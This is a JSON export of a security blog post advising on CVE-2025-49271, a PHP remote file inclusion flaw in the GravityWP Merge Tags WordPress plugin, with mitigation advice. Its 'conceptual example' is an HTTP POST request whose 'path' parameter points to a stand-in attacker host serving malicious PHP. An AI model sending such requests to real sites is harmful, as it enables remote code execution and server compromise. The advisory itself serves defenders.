{"id":86797,"date":"2026-03-28T12:52:55","date_gmt":"2026-03-28T12:52:55","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T06:00:00","slug":"cve-2025-49271-php-remote-file-inclusion-vulnerability-in-gravitywp-merge-tags","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-49271-php-remote-file-inclusion-vulnerability-in-gravitywp-merge-tags\/","title":{"rendered":"<strong>CVE-2025-49271: PHP Remote File Inclusion Vulnerability in GravityWP &#8211; Merge Tags<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2025-49271 is a high-risk vulnerability that has been identified in GravityWP &#8211; Merge Tags, a popular WordPress plugin. The flaw lies in the inclusion of PHP files from remote servers, which can potentially lead to system compromise and data leakage. It is crucial for all users and administrators of affected versions of this plugin to take immediate action to mitigate the risk.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-49271<br \/>\nSeverity: High (CVSS: 7.5)<br \/>\nAttack Vector: Remote<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: System compromise and potential data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-379515332\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>GravityWP &#8211; Merge Tags | n\/a through 1.4.4<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability arises from incorrect control of filename for include\/require statement in PHP Program. This allows an attacker to manipulate the filesystem references and include PHP files from remote servers. As a result, an attacker could execute arbitrary PHP code on the server, leading to a complete system compromise.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1380010577\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>This is a conceptual example of how the vulnerability might be exploited. The attacker sends a POST request with a malicious PHP file URL included in the request data.<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/targeted-endpoint HTTP\/1.1\nHost: vulnerable-website.com\nContent-Type: application\/x-www-form-urlencoded\npath=http:\/\/malicious-site.com\/malicious-file.php<\/code><\/pre>\n<p>In this scenario, the &#8220;path&#8221; parameter is improperly controlled, and thus the server ends up including and executing the remote &#8220;malicious-file.php&#8221;.<\/p>\n<p><strong>Recommended Mitigation<\/strong><\/p>\n<p>Users are advised to apply the vendor patch as soon as it is available to fix this vulnerability. In the meantime, employing a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation measure by detecting and blocking attempts to exploit this vulnerability.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-49271 is a high-risk vulnerability that has been identified in GravityWP &#8211; Merge Tags, a popular WordPress plugin. The flaw lies in the inclusion of PHP files from remote servers, which can potentially lead to system compromise and data leakage. It is crucial for all users and administrators of affected versions of this [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-86797","post","type-post","status-publish","format-standard","hentry"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/86797","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=86797"}],"version-history":[{"count":0,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/86797\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=86797"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=86797"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=86797"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=86797"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=86797"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=86797"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=86797"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=86797"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=86797"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}